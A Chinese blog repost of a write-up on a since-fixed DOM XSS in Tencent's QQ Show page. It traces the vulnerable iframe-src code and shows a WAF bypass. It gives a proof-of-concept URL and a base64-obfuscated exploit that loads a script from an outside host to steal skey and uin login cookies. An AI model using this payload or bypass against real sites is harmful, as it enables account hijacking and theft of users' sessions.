阿八博客
  • 100000+

    文章

  • 23

    评论

  • 20

    友链

  • 最近新加了很多技术文章,大家多来逛逛吧~~~~
  • 喜欢这个网站的朋友可以加一下QQ群,我们一起交流技术。

QQ某业务主站DOM XSS挖掘与分析(绕过WAF)

欢迎来到阿八个人博客网站。本 阿八个人博客 网站提供最新的站长新闻,各种互联网资讯。 喜欢本站的朋友可以收藏本站,或者加QQ:我们大家一起来交流技术! URL链接:https://www.abboke.com/rz/2019/1010/116752.html

腾讯已经修复了,所以我发出来,贵在挖掘与分析过程。

可盗取skey与uin全浏览器通用不会被拦截。

挖掘flashxss的时候偶然发现的,反编译的时候发现这样的URL:

QQ秀DOM XSS挖掘与分析97.png

show.qq.com 属于QQ秀主站业务。

来到show.html,看到如下代码:

codehilite">
var aNUrl= { "M":"http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html", "T":"http://imgcache.qq.com/qqshow_v3/htdocs/inc/header.html", "L":"http://imgcache.qq.com/qqshow_v3/htdocs/inc/sidebar.html" };var sUrl = QSFL.excore.getURLParam("MUrl").replace(/http:\/\/show.qq.com/,"http://imgcache.qq.com/qqshow_v3/htdocs");(sUrl && CheckUrlCredit4Frames(sUrl)) && (aNUrl["M"]=Rel2Abs(sUrl));var sUrl = QSFL.excore.getURLParam("LUrl");(sUrl && CheckUrlCredit4Frames(sUrl)) && (aNUrl["L"]=Rel2Abs(sUrl));var sUrl = QSFL.excore.getURLParam("TUrl");(sUrl && CheckUrlCredit4Frames(sUrl)) && (aNUrl["T"]=Rel2Abs(sUrl));......var uPrm = window.location.href.split("?"); // 从location.href中获得uPrmvar _Prm = new QSFL.excore.param(uPrm[1] || "", "&", "="); // 获得GET参数for (var xName in _Prm){    if (typeof(_Prm[xName])=="string" && xName!="MUrl" && xName!="LUrl" && xName!="TUrl")  // xName是键,_Prm[xName]是值    {        aNUrl["M"] = QSFL.excore.setURLParam(aNUrl["M"], xName, _Prm[xName]);        aNUrl["L"] = QSFL.excore.setURLParam(aNUrl["L"], xName, _Prm[xName]);        aNUrl["T"] = QSFL.excore.setURLParam(aNUrl["T"], xName, _Prm[xName]);    }......QSFL.$("headerFrame").src = aNUrl["T"];QSFL.$("sideFrame").src = aNUrl["L"];QSFL.$("mainFrame").src = aNUrl["M"];

上面这三句,很明显是可能会存在xss的。QSFL.$("headerFrame")是一个iframe对象,它的src属性可以为javascript协议,也就是:<iframe src=javascript:alert(1)>。所以只要能控制aNUrl["T"];的前部分,就能造成一个无需交互的DOM XSS。

要控制aNUrl["T"],看看之前QSFL.excore.setURLParam函数。QSFL.excore.setURLParam的第一个参数是预置的 http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html 、 http://imgcache.qq.com/qqshow_v3/htdocs/inc/header.html 或 http://imgcache.qq.com/qqshow_v3/htdocs/inc/sidebar.html ,第二、三个参数是GET的键和值。

进入QSFL.excore.setURLParam看看。

codehilite">
QSFL.excore.setURLParam = function(sUrl, sName, sValue) {    sUrl = sUrl.toString();    sName = sName.toString();    sValue = sValue.toString().escUrl();    var r = new RegExp("(^|\\W)" + sName + "=[^&]*", "g");    var vUrl = sUrl.split("#");    vUrl[0] = (vUrl[0].match(r)) ? vUrl[0].replace(r, "$1" + sName + "=" + sValue) : vUrl[0] + (vUrl[0].indexOf("?") == -1 ? "?" : "&") + sName + "="     + sValue;    return vUrl.join("#");};

我们先缕缕思路,这个函数的三个参数,sUrl是我们不能控制的,但sName、sValue都是可以控制的,但其中不能包含&、=。

我们看到主要部分是一个?:选择符。如果能执行vUrl[0].replace(r, "$1" + sName + "=" + sValue),因为sName我们可以控制,所以就能控制url的前半部分;如果执行的是vUrl[0] + (vUrl[0].indexOf("?") == -1 ? "?" : "&") + sName + "=" + sValue;,vUrl[0]就是sUrl,我们不能控制前半部分,所以不行。

所以看看怎样让这个三目运算符执行第一个。看到这个正则:RegExp("(^|\\W)" + sName + "=[^&]*", "g");。将sName放入正则表达式了。

只要让vUrl[0]匹配上这个正则就可以了,想想怎么办?

让sName中包含或|就可以了,即为|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|,则整个正则为(^|\\W)|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|=[^&]*,肯定是可以匹配上 http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html 的。

我们再在sName前面加上javascript:alert(1)//,最后返回的URL即为javascript:alert(1)//|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|=1,这样的URL放入iframe的src属性中即可造成一个XSS。
实际上我发现服务器WAF将会过滤一些关键字,比如javascript:、”等,javascript可以用大小写绕过,引号完全可以不需要,我们可以用//.source代替。

给出一个POC:

codehilite">
http://show.qq.com/show.html?javAScripT:alert(1)//|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|=1

可见弹窗:

QQ秀DOM XSS挖掘与分析3380.png

写一个盗取cookie的EXP:

codehilite">
http://show.qq.com/show.html?javAScripT:eval(atob(/ZG9jdW1lbnQud3JpdGUoJzxzY3JpcHQgc3JjPWh0dHA6Ly94NTUubWh6LnB3L0hZYkJ3VT48L3NjcmlwdD4nKTs/.source))//|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|=1

这个能在chrome下运行。

经测试可以盗取skey、uin,有这两个就可以登他人空间,干很多邪恶的事情:

QQ秀DOM XSS挖掘与分析3883.png

相关文章